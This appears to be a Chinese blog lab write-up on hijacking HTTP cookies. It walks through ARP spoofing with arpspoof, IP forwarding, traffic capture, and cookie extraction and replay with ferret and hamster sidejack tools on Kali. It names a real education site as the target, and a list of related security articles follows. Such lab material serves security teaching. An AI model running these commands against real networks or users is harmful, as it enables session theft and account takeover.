HTTP cookies劫持实验

１、首先保证虚拟机中的kali系统能够和外部网络通信，查看设置----虚拟网络编辑器----桥接无线网卡-------kali编辑网络设置为DHCP自动获取地址，设置完后重新激活ifconfig命令查看IP：

２、安装攻击工具

dpkg --add-architecture i386 && apt-get update && apt-get install ferret-sidejack:i386

apt-get install hamster-sidejack：

劫持用户的登录信息cookies

echo 1 > /proc/sys/net/ipv4/ip_forward 开启kali路由转发功能

arpspoof -i eth0 -t 192.168.0.1 192.168.0.106 -r　双向ARP 进行中间人攻击：

开启wireshark

在目标主机上登录相对应的网站，尽量选择安全性较低的，登录要留存过程，多刷新几次产生流量

保存窃取的流量为.pacp文件 tcpdump：

ferret-sidejack -r 处理流量，生成cookies文件hamster.text

启动hamster-sidejack：

打开浏览器选项中设置代理为127.0.0.1:1234

地址栏输入127.0.0.1:1234：

hamaster 找到目标IP ，登录目标用户的网站

抓包的时候，抓取的时间，尽量长

目标网站：超星

http cookies实验结束。

HTTP cookies劫持实验相关推荐

DNS原理及局域网DNS劫持实验
DNS原理及局域网DNS劫持实验 DNS原理及局域网DNS劫持实验 1. DNS原理 1.1 DNS是什么? 1.2 为什么需要DNS? 1.3 DNS工作原理 1.3.1 DNS的递归和迭代 1.3 ...
ettercap内网DNS劫持实验
实验原理 ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层,负责将某个IP地址解析成对应的MAC地址. ARP欺骗是一种中间人攻击, ...
【burpsuite安全练兵场-客户端14】点击劫持-5个实验（全）
前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...
Java防止Xss注入json_XSS的两种攻击方式及五种防御方式
XSS介绍跨站脚本攻击指的是自己的网站运行了别的网站里面的代码攻击原理是原本需要接受数据但是一段脚本放置在了数据中: 该攻击方式能做什么? 获取页面数据获取Cookies 劫持前端逻辑发送请求 ...
前端安全攻防大全--专注于攻击和防御
常见的Web攻击方式 XSS CSRF 点击劫持 SQL注入 OS注入请求劫持 DDOS 1.XSS Cross Site Scripting 跨站脚本攻击:实际执行另一个网站的脚本 XSS(Cro ...
Web安全常见基本知识
1.XSS 跨站式脚本攻击.Cross-Site Scripting.因为与 CSS 重名所以变更为 XSS. 反射性通过在传参处植入代码,实现数据的传输. 存储型借助存储能力,植入恶意代码.当用 ...
网易云歌单歌曲实时拉取
网易云歌单歌曲实时拉取最近个人公众号Mozi的bug日志上线了新的音乐推送API,下面来讲讲推送的实现过程. 一.抓取目的抓取歌单中的歌曲列表,并提取对应歌曲的外链.歌曲名单以及作者名测试歌曲外 ...
荣耀X30卸载预装软件
1.下载文件,安装Hanset+WinDriver.exe驱动文件下载点击:文件 2.操作手机 USB数据线接入电脑. 3.电脑端操作打开adb文件夹,在上面输入cmd,点击回车. 输入命令,将手 ...
20189216 《网络攻防技术》第六周作业
教材和视频学习总结一.教材内容学习总结课本第五章主要围绕TCP/IP网络协议攻击技术进行讲述,教材中主要涉及的攻击内容如下: 网络攻击基本模式: 截获中断篡改伪造网络层协议攻击手段 IP源 ...

HTTP cookies劫持实验

HTTP cookies劫持实验相关推荐

最新文章

热门文章